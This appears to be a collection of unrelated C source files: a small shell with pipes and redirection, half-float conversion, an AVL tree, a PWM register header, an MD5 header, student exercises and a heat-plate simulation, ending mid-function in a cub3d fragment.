#include <stdbool.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
/*
nameFunction: includes
arguments: array of chars * char
returns: boolean
purpose: Gets a word and a letter and returns whether the letter is within the word or not.
*/
bool includes(char word[], char letter)
{
for (int i = 0; i < strlen(word); i++)
{
if (word[i] == letter)
{
return true;
}
}
return false;
}
/*
nameFunction: split
arguments: array of chars, matrix of chars, array of chars
returns: integer
purpose: Takes a array of chars and returns a matrix of the words split by the delimiter
*/
int split(char string[], char **split_string, const char delimiter[])
{
char *token = strtok(string, delimiter);
int n = 0;
while (token != NULL)
{
split_string[n] = token;
n++;
token = strtok(NULL, delimiter);
}
split_string[n] = NULL; //split_string must have NULL in the last position
return n;
}
/*
nameFunction: bufferToFile
arguments: matrix of chars, matrix of chars
returns: void
purpose: execute the redirection command.
*/
void bufferToFile(char *left_side[], char *file_reach[])
{
int file = open(file_reach[0], O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR); //Open the file in the previous modes.
dup2(file, STDOUT_FILENO); //Allow the output to go to the file
close(file);
execvp(left_side[0], left_side); //Execute the commands
}
void pipeline(char *left_side[], char *right_side[])
{
pid_t pid;
int fd[2];
if (pipe(fd) == -1)
{
perror("Pipe's in the making...");
exit(EXIT_FAILURE);
}
pid = fork();
if (pid == 0)
{
//This section is executed by the son's process.
close(fd[1]);//Closes the write descriptor since we're not interested by
dup2(fd[0], STDIN_FILENO); //Clones the read descriptor into the default input.
execvp(right_side[0], right_side);
}
else if (pid == -1)
{
perror("fork execution failed");
exit(EXIT_FAILURE);
}
else
{
//This section is executed by the dad process.
close(fd[0]); //Closes the read descriptor.
dup2(fd[1], STDOUT_FILENO);
execvp(left_side[0], left_side);
}
}
int main(int argc, char *argv[])
{
char str[100];
printf("Type a command: ");
fgets(str, sizeof(str), stdin);
//Find new line if exists
char *ptr = strchr(str, '\n');
if (ptr)
{
*ptr = '\0'; //Replace the newline character in the string with '\0'
}
if (includes(str, '>'))
{
char *new_str[3];
char *left_side[7];
char *right_side[4];
char *file_reach[2];
//Splits the str by the delimiter into pieces which will be saved into new_string
split(str, new_str, ">");
split(new_str[0], left_side, " ");
split(new_str[1], right_side, " ");
file_reach[0] = right_side[0];
file_reach[1] = NULL;
bufferToFile(left_side, file_reach);
}
else if (includes(str, '|'))
{
char *pipe[3];
split(str, pipe, "|");
char *left_side[4];
char *right_side[10];
split(pipe[0], left_side, " ");
split(pipe[1], right_side, " ");
pipeline(left_side, right_side);
}
else
{
char *argss[9];
split(str, argss, " ");
execvp(argss[0], argss);
exit(EXIT_FAILURE);
}
return 0;
}
|
C | h_float16 float2half(float x){
long *x_bytes; //uint32_t
unsigned char e; //uint8_t
long m; //uint32_t
h_float16 y;
y=0;
x_bytes=&x; // (cast float into bit array "int32")
e=*x_bytes>>23;//b30-23
m=*x_bytes&0x7FFFFFL;//23 bit
if (*x_bytes&(1L<<31)) y=0x8000 ;//sig bit
if (e>0x8E){
y+=0x7C00;//inf (1F<<10)
if (e==255 && m) y++; //NaN
}else{
if(e>0x70) y+=(h_float16)(e-0x70)<<10;//exponent
y+=(m)>>13;//mantis
if (m & (1<<12)) y++;//round
}
return y;
}
float half2float(h_float16 x){
long x_bytes; //uint32_t
float *f_pointer;
char e; //uint8_t
short m; //uint16_t
x_bytes=0;
e=(x>>10)&0x1F;//b14-10
m=x&0x03FF;//10 bit Mask (b9-0)
if (x&1<<15) x_bytes=1L<<31;//sig bit
if (e==0||e==0x1F){
x_bytes+=(long)(e)<<23;// zero/inf
if(m) x_bytes++; //NaN
}else{
x_bytes+=(long)(0x70+e)<<23;//exponent
x_bytes+=(long)(m)<<13;//mantis
}
f_pointer=&x_bytes;
return *f_pointer;
} |
C | #include<stdio.h>
int main()
{
int i,j,n;
printf("Enter integer: ");
scanf("%d",&n);
i=n;
while(i>0)
{
j=0;
while(j<i)
{
printf("%d, ",i+j);
j++;
}
printf("\n");
i--;
}
return 0;
}
|
C | #include <stdio.h>
#include <setjmp.h>
jmp_buf saved_location;
int main (int argc, char **argv) {
int jmpval = 0;
jmpval = setjmp(saved_location);
if (jmpval == 0) {
printf("jmp_buf initialized successfully\n");
}
else {
printf("jump achieved: jmpval=%d\n", jmpval);
return 0;
}
printf("about to longjmp\n");
longjmp(saved_location, 137);
printf("after longjmp, can't get here");
return 0;
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* check_field.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: vkravets <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/02/16 14:54:31 by vkravets #+# #+# */
/* Updated: 2018/02/16 14:54:35 by vkravets ### ########.fr */
/* */
/* ************************************************************************** */
#include "filler.h"
int search_coord(t_maps *map)
{
int y;
int x;
y = 0;
while (y < map->heigth_field)
{
x = 0;
while (x < map->width_field)
{
if (value_for_return(x, y, map))
return (1);
x++;
}
y++;
}
return (0);
}
int search_coord1(t_maps *map)
{
int y;
int x;
y = map->heigth_field;
while (y > 0)
{
x = 0;
while (x < map->width_field)
{
if (value_for_return(x, y, map))
return (1);
x++;
}
y--;
}
return (0);
}
int search_coord2(t_maps *map)
{
int y;
int x;
y = 0;
while (y < map->heigth_field)
{
x = map->width_field;
while (x > 0)
{
if (value_for_return(x, y, map))
return (1);
x--;
}
y++;
}
return (0);
}
int search_coord3(t_maps *map)
{
int y;
int x;
y = map->heigth_field;
while (y > 0)
{
x = map->width_field;
while (x > 0)
{
if (value_for_return(x, y, map))
return (1);
x--;
}
y--;
}
return (0);
}
|
C | int main(){
double sum[100];
int a=1,b=2,c,d;
int n,i,j[100],k;
scanf("%d",&n);
for(i=0;i<n;i++){
scanf("%d",&j[i]);
}
for(i=0;i<n;i++){
sum[i]=0;
a=1;
b=2;
for(k=0;k<j[i];k++){
sum[i]+=100000*b/a;
c=b;
d=a+b;
a=c;
b=d;
}
printf("%.3lf\n",sum[i]/100000);
}
return 0;
}
|
C | #include<stdio.h>
#include<conio.h>
int main ()
{
int data[10],i,min,j,temp;
int len_array = sizeof(data)/4;
for (i=0; i < len_array; i++)
{
printf("Enter value for %d index: ",i);
scanf("%d",&data[i]);
}
for ( i=0; i < len_array - 1; i++)
{
min = i;
for (j= i+1; j < len_array; j++)
{
if (data[j] < data[min])
{
min = j;
}
}
temp = data[i];
data[i] = data[min];
data[min] = temp;
}
for (i=0; i < len_array; i++)
{
printf("Sorted Value at %d index: %d\n",i,data[i]);
}
}
|
C | /*
* st_pwm.h
*
* Copyright STMicroelectronics Ltd. 2004
*
*/
#if ! defined(__ST_PWM_H)
#define __ST_PWM_H
/*
* PWM register definitions.
*
* Two PWM module types are supported. They are named pwm_3 and pwm_4.
* The postfixes 3 and 4 denote the number of capture/ compare units
* contained in the pwm.
*
* Registers defined as 8 or 16 bits wide all occupy a 4 byte word
* aligned field, so 32 bit ints can be used to map onto thes fields.
*
*/
/*
* Useful bit twiddling macros
*/
#define _ST_SHIFTLEFT <<
#define _ST_SHIFTRIGHT >>
#define _ST_BITMASK(X) ( 1 _ST_SHIFTLEFT X)
#define _ST_BITSMASK(L,U) (((( 1 _ST_SHIFTLEFT (U - L)) - 1) _ST_SHIFTLEFT L) | ( 1 _ST_SHIFTLEFT U))
/*
* Bit twiddling fields for Control register
*/
#define _ST_PWM_3_4_PWM_CLK_VALUE (_ST_BITSMASK(0,3))
#define _ST_PWM_3_4_CAPTURE_CLK_VALUE (_ST_BITSMASK(4,8))
#define _ST_PWM_3_4_PWM_ENABLE (_ST_BITMASK(9))
#define _ST_PWM_3_4_CAPTURE_ENABLE (_ST_BITMASK(10))
/*
* Bit twiddling fields for Capture X Edge Control registers
*/
#define _ST_PWM_3_4_CAPTURE_X_EDGE (_ST_BITSMASK(0,1))
/*
* Bit twiddling fields for Compare X Output Value registers
*/
#define _ST_PWM_3_4_COMPARE_X_OUT_VAL (_ST_BITMASK(0))
/*
* PWM 3 & 4 control register bit field definition
*/
typedef struct pwm_3_4_control_s {
volatile int PWMClkValue:4;
volatile int CaptureClkValue:5;
volatile int PWMEnable:1;
volatile int CaptureEnable:1;
} pwm_3_4_control_t;
/*
* PWM 3 Interrupts bit field definition.
* Register layout is the same for interrupt enable, status and acknowledge registers.
*/
typedef struct pwm_3_interrupt_s {
volatile int PWMInt:1; /* 0 */
volatile int Reserved:2; /* 1,2 */
volatile int CaptureInt0:1; /* 3 */
volatile int CaptureInt1:1; /* 4 */
volatile int CaptureInt2:1; /* 5 */
volatile int CompareInt0:1; /* 6 */
volatile int CompareInt1:1; /* 7 */
volatile int CompareInt2:1; /* 8 */
} pwm_3_interrupt_t;
/*
* PWM 3 register set definition.
* Registers with bit fields use C bit field definitions.
*/
typedef struct pwm_3_bf_s
{
volatile int PWMVal0; /* 00 */
volatile int PWMVal1; /* 04 */
volatile int PWMVal2; /* 08 */
volatile int CaptureVal0; /* 0c */
volatile int CaptureVal1; /* 10 */
volatile int CaptureVal2; /* 14 */
volatile int CompareVal0; /* 18 */
volatile int CompareVal1; /* 1c */
volatile int CompareVal2; /* 20 */
pwm_3_4_control_t Control; /* 24 */
volatile int CaptureEdge0; /* 28 */
volatile int CaptureEdge1; /* 2c */
volatile int CaptureEdge2; /* 30 */
volatile int CompareOutVal0; /* 34 */
volatile int CompareOutVal1; /* 38 */
volatile int CompareOutVal2; /* 3c */
pwm_3_interrupt_t IntEnable; /* 40 */
pwm_3_interrupt_t IntStatus; /* 44 */
pwm_3_interrupt_t IntAck; /* 48 */
volatile int PWMCount; /* 4c */
volatile int CaptureCount; /* 50 */
} pwm_3_bf_t;
/*
* PWM 3 register set definition.
* Registers with bit fields defined as ints. Bit twiddling required.
*/
/*
* Bit twiddling fields.
* The following interrupt register bit field definitions apply to registers...
* Interrupt Enable register,
* Interrupt Status register and
* Interrupt Acknowledge register.
*/
#define _ST_PWM_3_PWM_INT (_ST_BITMASK(0))
#define _ST_PWM_3_CAPTURE_0_INT (_ST_BITMASK(3))
#define _ST_PWM_3_CAPTURE_1_INT (_ST_BITMASK(4))
#define _ST_PWM_3_CAPTURE_2_INT (_ST_BITMASK(5))
#define _ST_PWM_3_COMPARE_0_INT (_ST_BITMASK(6))
#define _ST_PWM_3_COMPARE_1_INT (_ST_BITMASK(7))
#define _ST_PWM_3_COMPARE_2_INT (_ST_BITMASK(8))
typedef struct pwm_3_ints_s
{
volatile int PWMVal0; /* 00 */
volatile int PWMVal1; /* 04 */
volatile int PWMVal2; /* 08 */
volatile int CaptureVal0; /* 0c */
volatile int CaptureVal1; /* 10 */
volatile int CaptureVal2; /* 14 */
volatile int CompareVal0; /* 18 */
volatile int CompareVal1; /* 1c */
volatile int CompareVal2; /* 20 */
volatile int Control; /* 24 */
volatile int CaptureEdge0; /* 28 */
volatile int CaptureEdge1; /* 2c */
volatile int CaptureEdge2; /* 30 */
volatile int CompareOutVal0; /* 34 */
volatile int CompareOutVal1; /* 38 */
volatile int CompareOutVal2; /* 3c */
volatile int IntEnable; /* 40 */
volatile int IntStatus; /* 44 */
volatile int IntAck; /* 48 */
volatile int PWMCount; /* 4c */
volatile int CaptureCount; /* 50 */
} pwm_3_ints_t;
/*
* PWM 4 Interrupts bit field definition.
* Register layout is the same for interrupt enable, status and acknowledge registers.
*/
typedef struct pwm_4_interrupt_s {
volatile int PWMInt:1; /* 0 */
volatile int CaptureInt0:1; /* 1 */
volatile int CaptureInt1:1; /* 2 */
volatile int CaptureInt2:1; /* 3 */
volatile int CaptureInt3:1; /* 4 */
volatile int CompareInt0:1; /* 5 */
volatile int CompareInt1:1; /* 6 */
volatile int CompareInt2:1; /* 7 */
volatile int CompareInt3:1; /* 8 */
} pwm_4_interrupt_t;
/*
* PWM 4 register set definition.
* Registers with bit fields use C bit field definitions.
*/
typedef struct pwm_4_bf_s {
volatile int PWMVal0;
volatile int PWMVal1; /* 04 */
volatile int PWMVal2;
volatile int PWMVal3; /* 0c */
volatile int CaptureVal0; /* 10 */
volatile int CaptureVal1; /* 14 */
volatile int CaptureVal2; /* 18 */
volatile int CaptureVal3; /* 1C */
volatile int CompareVal0; /* 20 */
volatile int CompareVal1; /* 24 */
volatile int CompareVal2; /* 28 */
volatile int CompareVal3; /* 2C */
volatile int CaptureEdge0; /* 30 */
volatile int CaptureEdge1; /* 34 */
volatile int CaptureEdge2; /* 38 */
volatile int CaptureEdge3; /* 3C */
volatile int CompareOutVal0;/* 40 */
volatile int CompareOutVal1;/* 44 */
volatile int CompareOutVal2;/* 48 */
volatile int CompareOutVal3;/* 4C */
pwm_3_4_control_t Control; /* 50 */
pwm_4_interrupt_t IntEnable;/* 54 */
pwm_4_interrupt_t IntStatus;/* 58 */
pwm_4_interrupt_t IntAck; /* 5C */
volatile int PWMCount; /* 60 */
volatile int CaptureCount; /* 64 */
} pwm_4_bf_t;
/*
* PWM 4 register set definition.
* Registers with bit fields defined as ints. Bit twiddling required.
*/
/*
* Bit twiddling fields.
* The following interrupt register bit field definitions apply to registers...
* Interrupt Enable register,
* Interrupt Status register and
* Interrupt Acknowledge register.
*/
#define _ST_PWM_4_PWM_INT (_ST_BITMASK(0))
#define _ST_PWM_4_CAPTURE_0_INT (_ST_BITMASK(1))
#define _ST_PWM_4_CAPTURE_1_INT (_ST_BITMASK(2))
#define _ST_PWM_4_CAPTURE_2_INT (_ST_BITMASK(3))
#define _ST_PWM_4_CAPTURE_3_INT (_ST_BITMASK(4))
#define _ST_PWM_4_COMPARE_0_INT (_ST_BITMASK(5))
#define _ST_PWM_4_COMPARE_1_INT (_ST_BITMASK(6))
#define _ST_PWM_4_COMPARE_2_INT (_ST_BITMASK(7))
#define _ST_PWM_4_COMPARE_3_INT (_ST_BITMASK(8))
typedef struct pwm_4_ints_s {
volatile int PWMVal0;
volatile int PWMVal1; /* 04 */
volatile int PWMVal2;
volatile int PWMVal3; /* 0c */
volatile int CaptureVal0; /* 10 */
volatile int CaptureVal1; /* 14 */
volatile int CaptureVal2; /* 18 */
volatile int CaptureVal3; /* 1C */
volatile int CompareVal0; /* 20 */
volatile int CompareVal1; /* 24 */
volatile int CompareVal2; /* 28 */
volatile int CompareVal3; /* 2C */
volatile int CaptureEdge0; /* 30 */
volatile int CaptureEdge1; /* 34 */
volatile int CaptureEdge2; /* 38 */
volatile int CaptureEdge3; /* 3C */
volatile int CompareOutVal0;/* 40 */
volatile int CompareOutVal1;/* 44 */
volatile int CompareOutVal2;/* 48 */
volatile int CompareOutVal3;/* 4C */
volatile int Control; /* 50 */
volatile int IntEnable; /* 54 */
volatile int IntStatus; /* 58 */
volatile int IntAck; /* 5C */
volatile int PWMCount; /* 60 */
volatile int CaptureCount; /* 64 */
} pwm_4_ints_t;
#endif /* ! defined(__ST_PWM_H) */
|
C | #include "avl_tree.h"
void init(Tree_t* t)
{
t->root = NULL;
}
void make(Tree_t* t, int val)
{
Node_t* temp = (Node_t*)malloc(sizeof(Node_t));
temp->key = val;
temp->left = temp->right = NULL;
t->root = insert(t->root, temp);
}
Node_t* insert(Node_t *root, Node_t* temp)
{
if(root == NULL)
{
root = temp;
}
else if(temp->key < root->key)
{
root->left = insert(root->left, temp);
root = balance(root);
}
else
{
root->right = insert(root->right, temp);
root = balance(root);
}
return root;
}
Node_t* balance(Node_t* node)
{
if(node)
{
Node_t* par, *cur;
par = node;
int par_bf = height(par->left) - height(par->right);
int cur_bf;
if (par_bf >1)
{
cur = par->left;
cur_bf = height(cur->left) - height(cur->right);
if (cur_bf > 0) // LL Rotation
{
par->left = cur->right;
cur->right = par;
node = cur;
}
else // LR Rotation
{
node = cur->right;
cur->right = node->left;
par->left = node->right;
node->right = par;
node->left = cur;
}
}
else if(par_bf < -1)
{
cur = par->right;
cur_bf = height(cur->left) - height(cur->right);
if(cur_bf > 0) // RR Rotation
{
node = cur->left;
cur->left = node->right;
par->right = node->left;
node->left = par;
node->right = cur;
}
else // RL Rotation
{
par->right = cur->left;
cur->left = par;
node = cur;
}
}
}
return node;
}
int search(Tree_t* t, int val)
{
int found = 0;
Node_t* temp = t->root;
while(temp && !found)
{
if(temp->key == val)
found = 1;
else if(temp->key > val)
temp = temp->left;
else
temp = temp->right;
}
return found;
}
int del(Tree_t* t, int val)
{
int successful = 0;
if(t->root)
{
t->root = del_node(t->root, NULL, val, &successful);
t->root = balance(t->root);
}
return successful;
}
Node_t* del_node(Node_t* node, Node_t* par, int val, int* successful)
{
Node_t* cur = node;
if(cur)
{
if (cur->key == val)
{
*successful = 1;
Node_t *temp = NULL, *suc;
if(cur->left==NULL)
temp = cur->right;
else if(cur->right==NULL)
temp = cur->left;
else
{
suc = cur->right;
while(suc->left!=NULL)
{
suc = suc->left;
}
suc->left = cur->left;
temp = cur->right;
}
if(par)
{
if(node == par->left)
par->left = temp;
else
par->right = temp;
}
free(cur);
cur = NULL;
return temp;
}
else if(cur->key > val)
{
node->left = del_node(cur->left, cur, val, successful);
}
else
{
node->right = del_node(cur->right, cur, val, successful);
}
node = balance(node);
}
return node;
}
void clear_tree(Tree_t* t)
{
free_node(t->root);
t->root = NULL;
}
void free_node(Node_t* root)
{
if(root != NULL)
{
free_node(root->left);
free_node(root->right);
free(root);
root = NULL;
}
}
void display(Tree_t* t)
{
if(t->root)
{
//inorder_disp(t->root);
preorder_disp(t->root);
printf("\n");
}
else
{
printf("\nTree empty.\n");
}
}
void inorder_disp(Node_t* root)
{
if(root != NULL)
{
inorder_disp(root->left);
int bf = height(root->left) - height(root->right);
printf("(%d , %d)\t", root->key, bf);
inorder_disp(root->right);
}
}
void preorder_disp(Node_t* root)
{
if(root != NULL)
{
int bf = height(root->left) - height(root->right);
printf("(%d , %d)\t", root->key, bf);
preorder_disp(root->left);
preorder_disp(root->right);
}
}
int height(Node_t* root)
{
if(root == NULL)
return -1;
return 1 + max(height(root->left) , height(root->right));
}
int max(int a,int b)
{
return (a>b)?a:b;
} |
C | #include<stdlib.h>
#include<stdio.h>
#include<string.h>
int main(){
//Declaracao de variaveis
int inteiro = 0;
float decimal = 0;
int flag = 1;
//Declaracao de String em C
char nome_arquivo_saida[100] = "saida.txt";
//Declaracao de um arquivo
FILE *arquivo;
//ABRIR O ARQUIVO PARA ESCRITA, opção "r"
arquivo=fopen(nome_arquivo_saida,"w");
inteiro = 10;
decimal = 89.0008;
//Escreve primeira linha
fprintf(arquivo, "%d %f\n", inteiro,decimal);
inteiro = 99;
decimal = -8.10059;
//Escreve segunda linha
fprintf(arquivo, "%d %f\n", inteiro,decimal);
//FECHAR O ARQUIVO
fclose(arquivo);
return 0;
} |
C | /*
**
** Main.c
**
**
**********************************************************************/
/*
Last committed: $Revision: 00 $
Last changed by: $Author: Lucas Balling $
Last changed date: $Date: $
ID: $Id: $
**********************************************************************/
#include "stm32f30x_conf.h" // STM32 config
#include "30021_io.h" // Input/output library for this course
// Includes need for the GPIOs
#include "GPIO.h"
#include "LED_Driver.h"
///////////////////////////////////////////////////////////////////////
// ------------------------Global Variables--------------------------//
///////////////////////////////////////////////////////////////////////
uint8_t joyStickState = 0;
uint8_t lastJoystickstate = 0;
uint8_t GreenColor, BlueColor, RedColor = 0;
///////////////////////////////////////////////////////////////////////
// -------------------------- functions ----------------------------//
///////////////////////////////////////////////////////////////////////
int main(void)
{
init_usb_uart( 9600 ); // Initialize USB serial emulation at 9600 baud
initJoystick();
// Init LED GPIO
initLED();
printf("Initialising all hardware components\n"); // Show the world you are alive!
while(1){
// Do things in the while loop
// Read Joystick state
joyStickState = readJoystick();
if(joyStickState != lastJoystickstate){
//Print the state of the Joystick to the consol
if (joyStickState == 1){
printf("joyStick is Pulled Up\n");
GreenColor = 1;
RedColor = 0;
BlueColor = 0;
}else if(joyStickState == 2){
printf("joyStick is Pulled Down\n");
GreenColor = 0;
RedColor = 1;
BlueColor = 0;
}else if(joyStickState == 4){
printf("joyStick is Pressed Left\n");
GreenColor = 0;
RedColor = 0;
BlueColor = 1;
}else if(joyStickState == 8){
printf("joyStick is Pressed Right\n");
GreenColor = 1;
RedColor = 1;
BlueColor = 0;
}else if(joyStickState == 16){
printf("joyStick is Pressed Center\n");
GreenColor = 1;
RedColor = 0;
BlueColor = 1;
}
}
// Save last Joystick state to ensure that it doesnt print to much
lastJoystickstate = joyStickState;
// Depending on the Joystick direction the LED state will be changed.
setLed(GreenColor, BlueColor, RedColor);
}
}
|
C | #ifndef SYSTEM_MD5_H
#define SYSTEM_MD5_H
////////////////////////////////////////////////////////////
// Headers
////////////////////////////////////////////////////////////
#include <Config.h>
////////////////////////////////////////////////////////////
// MD5 Context struct
////////////////////////////////////////////////////////////
struct MD5Context
{
UInt32 State[4]; ///< State (ABCD)
UInt32 Count[2]; ///< Number of bits, modulo 2^64 (lsb first)
UInt8 Buffer[64]; ///< Input buffer
};
////////////////////////////////////////////////////////////
/// MD5 initialization.
/// Begins an MD5 operation, writing a new context
////////////////////////////////////////////////////////////
void MD5Init(struct MD5Context * Context);
////////////////////////////////////////////////////////////
/// MD5 block update operation. Continues an MD5 message-digest
/// operation, processing another message block, and updating the
/// context
////////////////////////////////////////////////////////////
void MD5Update(struct MD5Context * Context, unsigned char * Input, unsigned int Len);
////////////////////////////////////////////////////////////
/// MD5 finalization. Ends an MD5 message-digest operation, writing the
/// the message digest and zeroizing the context
////////////////////////////////////////////////////////////
void MD5Final(unsigned char Digest[16], struct MD5Context * Context);
////////////////////////////////////////////////////////////
/// Computes the message digest for a specified file
////////////////////////////////////////////////////////////
void MD5File(char * File, unsigned char Digest[16]);
////////////////////////////////////////////////////////////
/// Digests a string and returns the result
////////////////////////////////////////////////////////////
void MD5String(unsigned char * String, unsigned char Digest[16]);
#endif // SYSTEM_MD5_H
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* show_alloc.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jschotte <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/02/08 14:51:22 by jschotte #+# #+# */
/* Updated: 2017/03/11 15:50:41 by jschotte ### ########.fr */
/* */
/* ************************************************************************** */
#include "includes/malloc.h"
void display_list(t_block *lst)
{
t_block *tmp;
tmp = lst;
while (tmp)
{
ft_putstr("|Adress:0x");
ft_itoa_base((int)tmp->ptr, 16);
ft_putstr("|Size:");
ft_putnbr(tmp->size);
ft_putstr("|isFree:");
ft_putnbr(tmp->is_free);
ft_putstr("|isHead:");
ft_putnbr(tmp->ishead);
ft_putstr("|\n");
tmp = tmp->next;
}
}
void show_alloc_mem(void)
{
ft_putstr("\nTINY\n");
display_list(g_base.list_tiny);
ft_putstr("SMALL\n");
display_list(g_base.list_small);
ft_putstr("LARGE\n");
display_list(g_base.list_large);
}
|
C | #include <stdio.h>
main()
{
int a = 10;
int aho( int i)
{
return i*2 + a;
}
int boke( int j )
{
return a;
}
int j;
j = aho ( 10 );
printf("%d , a %d " , j ,a );
}
|
C | /* gen_maxflow_typedef.h == Type definitions for a directed graph
for generators */
/*
Implemented by
Tamas Badics, 1991,
Rutgers University, RUTCOR
P.O.Box 5062
New Brunswick, NJ, 08903
e-mail: [email protected]
*/
#ifndef _GEN_MAXFLOW_TYPE_H
#define _GEN_MAXFLOW_TYPE_H
#include <stdio.h>
/*==================================================================*/
typedef struct VERTEX{
struct EDGE ** edgelist; /* Pointer to the list of pointers to
the adjacent edges.
(No matter that to or from edges) */
struct EDGE ** current; /* Pointer to the current edge */
int degree; /* Number of adjacent edges (both direction) */
int index;
}vertex;
/*==================================================================*/
typedef struct EDGE{
int from;
int to;
int cap; /* Capacity */
}edge;
/*==================================================================*/
typedef struct NETWORK{
struct NETWORK * next, * prev;
int vertnum;
int edgenum;
vertex * verts; /* Vertex array[1..vertnum] */
edge * edges; /* Edge array[1..edgenum] */
int source; /* Pointer to the source */
int sink; /* Pointer to the sink */
}network;
#endif
|
C | //Este programa fue hecho por Judá Rodríguez(emdajhuda) el 22 de octubre del 2018.
#include <stdio.h>
//Aqui indico que voy a usar unar variable para inicializar la matriz.
void inicializar(float l1, float l2, float l3, float l4, int n);
//Para la función main daremos desde la terminal el archivo a ejecutar y el nombre del archivo donde estan los datos iniciales.
int main(int arg, char *argt[])
{
//Declaramos la variable para escanear los datos.
char *datos;
//Aqui declaré la variable con la que ire guardando los nombres de los archivos para imprimir.
char placa[60];
//Declaré las variables del tamaño de la matriz, temperaturas, contadores para los ciclos y epsilon.
int N, n, i, j, c, cw=0, p=1;
float l1, l2, l3, l4, em=1, e=0.001;
//Se declaró las variables de donde se sacaran los datos y de donde se abriran.
FILE* data;
FILE* out;
//Le muestra el programa que se esta ejecutando al usuario.
printf("El programa que estas ejecutando es: %s\n", argt[0]);
//Le asigna a el segundo termino ingresado en la terminal al archivo que se abrira para escanear los datos.
datos=argt[1];
//Se leen los datos en el siguiente orden, primero temperaturas y despues el numero de puntos por lado en la matriz.
data = fopen(datos, "r");
fscanf(data, "%f %f %f %f %i", &l1, &l2, &l3, &l4, &n);
fclose(data);
//Aqui calculo el numero de puntos en la matriz para calcular el numero de epsilon en la matriz.
N=n*n;
//Se declaran las matrices con tamaño n+2, para que agregue las columnas y filas con temperatura fija, ademas se declara un array para los valores del epsilon.
float T[n+2][n+2], Tv[n+2][n+2], ei[N];
//Aqui se inicializan los puntos en la matriz temperatura vieja a 0.
for (i=0; i<(n+2); i++)
{
for (j=0; j<(n+2); j++)
{
Tv[i][j]=0;
}
}
//Este if es para que se ejecute el programa solo si en la terminal se dan los nombres del programa a ejecutar y el archivo del que se sacaran los datos iniciales.
if(arg==2)
{
//Con esta función se inicializan los puntos en la matriz.
inicializar(l1, l2, l3, l4, n);
//Se escanea la matriz con los puntos iniciales.
out = fopen("0placa.txt", "r");
for (j=0; j<(n+2); j++)
{
for (i=0; i<(n+2); i++)
{
fscanf(out, "%f", &T[i][j]);
}
}
fclose(out);
//Este ciclo while se repite maximo 3000 veces o hasta que alcance el equilibrio, para mi el equilibrio se alcanza cuando el epsilon mas grande es igual a 0.001 (dato que indique al inicializar la variable).
while (cw<3000 && em>e)
{
//inicializo el contador c a 0 para los epsilon.
c=0;
//En este ciclo for calculo el promedio de las temperaturas en las celdas adyacentes y calculo su epsilon.
for (j=1; j<(n+1); j++)
{
for (i=1; i<(n+1); i++)
{
T[i][j]=(T[i-1][j]+T[i+1][j]+T[i][j+1]+T[i][j-1])/4;
ei[c]=((T[i][j]-Tv[i][j])/T[i][j]);
//Aqui aumento el contador del epsilon una unidad para el siguiente calculo de promedio de temperatura.
c++;
//igualo la temperatura que acabo de sacar con la vieja, asi puedo calcular el siguiente epsilon.
Tv[i][j]=T[i][j];
}
}
//Aqui encuentro el epsilon maximo en la matriz.
for(c=0; c<N; c++)
{
//Escanea los epsilon uno por uno y si el epsilon individual es mayor al epsilon maximo, el epsilon maximo obtendra el valor del epsilon individuial leido.
if (em < ei[c])
{
em = ei[c];
}
}
//Aqui le asigno un diferente nombre a cada archivo en el que se imprimira.
sprintf(placa, "%dplaca.txt", p);
//Como son muchos calculos solo imprimire cada 50, asi maximo tendre 60 archivos de texto.
if(cw%50==0)
{
//Aqui imprimo la matriz y aumento una unidad en el contador de impresiones, asi cuando imprima los nombres de los archivos los escribira de uno en uno y si utilizo el contador del ciclo while me escribira los nombres de los archivos con saltos muy grandes en numero.
out = fopen(placa, "w");
for (j=1; j<(n+1); j++)
{
for (i=1; i<(n+1); i++)
{
fprintf(out, "%f ", T[i][j]);
}
fprintf(out, "\n");
}
fclose(out);
p++;
}
//Le agrego una unidad al contador del ciclo while para que se pueda detener si llega a hacer el ciclo 3000 veces.
cw++;
}
//Esto hace que el programa se detenga si no ingresamos los argumentos suficientes en la terminal o exedemosel numero de argumentos.
}
else if(arg>2)
{
printf("Mas argumentos de los necesarios.\n");
}
else
{
printf("Se requiere de al menos 2 argumentos.\n");
}
//Se cierra el programa
return 0;
}
|
C | #include <stdio.h>
#include "helpers.h"
int main() {
int nums[] = {2, 7, 11, 15, 13, 26, 3, 5};
int target = 14;
int* return_array = twoSum(nums, 8, target);
print_result(return_array, 2);
return 0;
}
|
C | /*
С�������ٶȱ���
�仯���ó����ϡ�����
*/
#pragma once
#include <stdio.h>
const float lowestSpeed = 200;
const float highestSpeed = 350;
struct wheelSpeed;
void fitWheelSpeed(wheelSpeed &w);
struct wheelSpeed
{
wheelSpeed() = default;
explicit wheelSpeed(float f1, float f2) :left(f1), right(f2) { fitWheelSpeed(*this); }
void changeWheelSpeed(float u);
float left;
float right;
float beta;
};
void fit(float &sp) {
sp = sp < lowestSpeed ? lowestSpeed : sp;
sp = sp > highestSpeed ? highestSpeed : sp;
}
void fitWheelSpeed(wheelSpeed &w) {
fit(w.left); fit(w.right);
}
void wheelSpeed::changeWheelSpeed(float u) {
this->left += u;
this->right -= u;
fitWheelSpeed(*this);
}
bool operator==(const wheelSpeed &l, const wheelSpeed &r) {
return (l.left == r.left) && (l.right == r.right);
}
wheelSpeed moveSpeed((lowestSpeed + highestSpeed) / 2,(lowestSpeed + highestSpeed) / 2);
wheelSpeed stopSpeed( lowestSpeed,lowestSpeed );
wheelSpeed rightMax ( highestSpeed,lowestSpeed );
wheelSpeed leftMax( lowestSpeed,highestSpeed );
|
C | #include <stdio.h>
#include <string.h>
int main() {
char buf[100] = {"adib dzulfikar"};
printf("sizeof(buf): %d\n", sizeof(buf));
printf("strlen(buf): %d\n", strlen(buf));
printf("buf: %s\n", buf);
}
|
C | #include "cub3d.h"
#include "libft.h"
int verif_info_resolution(char **tab, char *str, int nb)
{
int i;
int verif;
char *tab_cpy;
i = 0;
verif = 0;
while (tab[i] != NULL)
{
tab_cpy = tab[i];
tab_cpy = skip_spaces(tab_cpy);
if (ft_strncmp(tab_cpy, str, nb) == 0)
{
tab_cpy++;
